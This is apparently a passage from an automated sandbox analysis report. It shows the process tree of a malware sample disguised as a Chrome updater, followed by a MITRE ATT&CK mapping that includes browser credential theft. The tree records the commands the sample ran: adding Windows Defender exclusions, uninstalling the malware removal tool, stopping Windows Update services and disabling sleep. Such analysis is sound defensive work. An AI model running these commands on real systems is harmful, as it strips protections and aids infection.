  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:5200
- C:\Windows\system32\dialer.exe
  C:\Windows\system32\dialer.exe
  2⤵
  PID:4668
- C:\Windows\system32\dialer.exe
  C:\Windows\system32\dialer.exe
  2⤵
  PID:516
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    - Suspicious use of AdjustPrivilegeToken
    PID:5512
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3020
- - C:\ProgramData\Google\Chrome\updater.exe
    "C:\ProgramData\Google\Chrome\updater.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Drops file in Drivers directory
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Checks whether UAC is enabled
    - Drops file in System32 directory
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    PID:4292
  - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Drops file in System32 directory
      Modifies data under HKEY_USERS
      Suspicious use of AdjustPrivilegeToken
      PID:1228
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
      4⤵
      PID:728
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3060
    - - C:\Windows\system32\wusa.exe
        
        wusa /uninstall /kb:890830 /quiet /norestart
        5⤵
        
        PID:4148
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop UsoSvc
      4⤵
      Launches sc.exe
      PID:1996
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop WaaSMedicSvc
      4⤵
      Launches sc.exe
      PID:656
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop wuauserv
      4⤵
      Launches sc.exe
      PID:5664
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5272
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop bits
      4⤵
      Launches sc.exe
      PID:1984
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop dosvc
      4⤵
      Launches sc.exe
      PID:4168
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
      4⤵
      Power Settings
      PID:5564
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2616
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
      4⤵
      Power Settings
      PID:2580
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5788
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
      4⤵
      Power Settings
      PID:4920
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5200
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
      4⤵
      Power Settings
      PID:4840
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4464
  - - C:\Windows\system32\dialer.exe
      C:\Windows\system32\dialer.exe
      4⤵
      PID:848
  - - C:\Windows\system32\dialer.exe
      dialer.exe
      4⤵
      PID:3112
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    PID:3924
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:1496
- - C:\ProgramData\Google\Chrome\updater.exe
    "C:\ProgramData\Google\Chrome\updater.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Drops file in Drivers directory
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Checks whether UAC is enabled
    - Drops file in System32 directory
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    PID:6076
  - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Drops file in System32 directory
      Modifies data under HKEY_USERS
      PID:2592
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1648
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
      4⤵
      PID:4388
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4228
    - - C:\Windows\system32\wusa.exe
        
        wusa /uninstall /kb:890830 /quiet /norestart
        5⤵
        
        PID:4352
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop UsoSvc
      4⤵
      Launches sc.exe
      PID:3688
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop WaaSMedicSvc
      4⤵
      Launches sc.exe
      PID:5248
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4076
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop wuauserv
      4⤵
      Launches sc.exe
      PID:5236
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop bits
      4⤵
      Launches sc.exe
      PID:2092
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop dosvc
      4⤵
      Launches sc.exe
      PID:4196
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
      4⤵
      Power Settings
      PID:5716
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3932
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
      4⤵
      Power Settings
      PID:2408
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:416
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
      4⤵
      Power Settings
      PID:5892
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4660
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
      4⤵
      Power Settings
      PID:1116
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3816
  - - C:\Windows\system32\dialer.exe
      C:\Windows\system32\dialer.exe
      4⤵
      PID:2340
  - - C:\Windows\system32\dialer.exe
      dialer.exe
      4⤵
      PID:5016
- C:\Windows\system32\dialer.exe
  dialer.exe
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5532

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:5736

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:5320

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:4124

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:4816

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:368

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

Power Settings

T1653

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

Modify Registry

Virtualization/Sandbox Evasion

T1497

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

System Information Discovery